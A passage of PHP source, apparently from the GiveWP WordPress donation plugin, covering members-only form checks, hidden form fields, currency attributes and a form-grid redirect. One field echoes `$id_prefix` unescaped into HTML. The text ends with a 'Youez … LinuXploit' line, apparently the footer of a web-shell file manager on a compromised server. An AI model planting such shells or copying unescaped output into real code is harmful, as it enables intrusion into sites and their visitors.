	$form_id = isset( $args['form_id'] ) ? $args['form_id'] : 0;

	// Sanity Check: Must have form_id & not be logged in.
	if ( empty( $form_id ) || is_user_logged_in() ) {
		return $final_output;
	}

	// Logged in only and Register / Login set to none.
	if ( give_logged_in_only( $form_id ) && give_show_login_register_option( $form_id ) == 'none' ) {

		$final_output = Give_Notices::print_frontend_notice( esc_html__( 'Please log in in order to complete your donation.', 'give' ), false );

		return apply_filters( 'give_members_only_output', $final_output, $form_id );

	}

	return $final_output;

}

add_filter( 'give_donate_form', 'give_members_only_form', 10, 2 );


/**
 * Add donation form hidden fields.
 *
 * @param int              $form_id
 * @param array            $args
 * @param Give_Donate_Form $form
 *
 * @since 1.8.17
 */
function __give_form_add_donation_hidden_field( $form_id, $args, $form ) {
	$id_prefix = ! empty( $args['id_prefix'] ) ? $args['id_prefix'] : '';
	?>
	<input type="hidden" name="give-form-id-prefix" value="<?php echo $id_prefix; ?>"/>
	<input type="hidden" name="give-form-id" value="<?php echo intval( $form_id ); ?>"/>
	<input type="hidden" name="give-form-title" value="<?php echo esc_html( $form->post_title ); ?>"/>
	<input type="hidden" name="give-current-url" value="<?php echo esc_url( give_get_current_page_url() ); ?>"/>
	<input type="hidden" name="give-form-url" value="<?php echo esc_url( give_get_current_page_url() ); ?>"/>
	<?php
	// Get the custom option amount.
	$custom_amount = give_get_meta( $form_id, '_give_custom_amount', true );

	// If custom amount enabled.
	if ( give_is_setting_enabled( $custom_amount ) ) {
		?>
		<input type="hidden" name="give-form-minimum"
			   value="<?php echo give_maybe_sanitize_amount( give_get_form_minimum_price( $form_id ) ); ?>"/>
		<input type="hidden" name="give-form-maximum"
			   value="<?php echo give_maybe_sanitize_amount( give_get_form_maximum_price( $form_id ) ); ?>"/>
		<?php
	}

	$data_attr = sprintf(
		'data-time="%1$s" data-nonce-life="%2$s" data-donor-session="%3$s"',
		time(),
		give_get_nonce_life(),
		absint( Give()->session->has_session() )
	);

	// WP nonce field.
	echo str_replace(
		'/>',
		"{$data_attr}/>",
		give_get_nonce_field( "give_donation_form_nonce_{$form_id}", 'give-form-hash', false )
	);

	// Price ID hidden field for variable (multi-level) donation forms.
	if ( give_has_variable_prices( $form_id ) ) {
		// Get the default price ID.
		$default_price = give_form_get_default_level( $form_id );
		$price_id      = isset( $default_price['_give_id']['level_id'] ) ? $default_price['_give_id']['level_id'] : 0;

		echo sprintf(
			'<input type="hidden" name="give-price-id" value="%s"/>',
			$price_id
		);
	}
}

add_action( 'give_donation_form_top', '__give_form_add_donation_hidden_field', 0, 3 );

/**
 * Add currency settings on donation form.
 *
 * @param array            $form_html_tags
 * @param Give_Donate_Form $form
 *
 * @return array
 * @since 1.8.17
 */
function __give_form_add_currency_settings( $form_html_tags, $form ) {
	$form_currency     = give_get_currency( $form->ID );
	$currency_settings = give_get_currency_formatting_settings( $form_currency );

	// Check if currency exist.
	if ( empty( $currency_settings ) ) {
		return $form_html_tags;
	}

	$form_html_tags['data-currency_symbol'] = give_currency_symbol( $form_currency );
	$form_html_tags['data-currency_code']   = $form_currency;

	if ( ! empty( $currency_settings ) ) {
		foreach ( $currency_settings as $key => $value ) {
			$form_html_tags[ "data-{$key}" ] = $value;
		}
	}

	return $form_html_tags;
}

add_filter( 'give_form_html_tags', '__give_form_add_currency_settings', 0, 2 );

/**
 * Adds classes to progress bar container.
 *
 * @param string $class_goal
 *
 * @return string
 * @since 2.1
 */
function add_give_goal_progress_class( $class_goal ) {
	$class_goal = 'progress progress-striped active';

	return $class_goal;
}

/**
 * Adds classes to progress bar span tag.
 *
 * @param string $class_bar
 *
 * @return string
 * @since 2.1
 */
function add_give_goal_progress_bar_class( $class_bar ) {
	$class_bar = 'bar';

	return $class_bar;
}

/**
 * Add a class to the form wrap on the grid page.
 *
 * @param array $class Array of form wrapper classes.
 * @param int   $id    ID of the form.
 * @param array $args  Additional args.
 *
 * @return array
 * @since 2.1
 */
function add_class_for_form_grid( $class, $id, $args ) {
	$class[] = 'give-form-grid-wrap';

	foreach ( $class as $index => $item ) {
		if ( false !== strpos( $item, 'give-display-' ) ) {
			unset( $class[ $index ] );
		}
	}

	return $class;
}

/**
 * Add hidden field to Form Grid page
 *
 * @param int              $form_id The form ID.
 * @param array            $args    An array of form arguments.
 * @param Give_Donate_Form $form    Form object.
 *
 * @since 2.1
 */
function give_is_form_grid_page_hidden_field( $id, $args, $form ) {
	echo '<input type="hidden" name="is-form-grid" value="true" />';
}

/**
 * Redirect to the same paginated URL on the Form Grid page
 * and adds query parameters to open the popup again after
 * redirection.
 *
 * @param string $redirect URL for redirection.
 * @param array  $args     Array of additional args.
 *
 * @return string
 * @since 2.1
 */
function give_redirect_and_popup_form( $redirect, $args ) {

	// Check the page has Form Grid.
	$is_form_grid = isset( $_POST['is-form-grid'] ) ? give_clean( $_POST['is-form-grid'] ) : '';

	if ( 'true' === $is_form_grid ) {

		$payment_mode = give_clean( $_POST['payment-mode'] );
		$form_id      = $args['form-id'];

		// Get the URL without Query parameters.
		$redirect = strtok( $redirect, '?' );

		// Add query parameters 'form-id' and 'payment-mode'.
		$redirect = add_query_arg(
			[
				'form-id'      => $form_id,
				'payment-mode' => $payment_mode,
			],
			$redirect
		);
	}

	// Return the modified URL.
	return esc_url_raw( $redirect );
}

add_filter( 'give_send_back_to_checkout', 'give_redirect_and_popup_form', 10, 2 );

Youez - 2016 - github.com/yon3zu
LinuXploit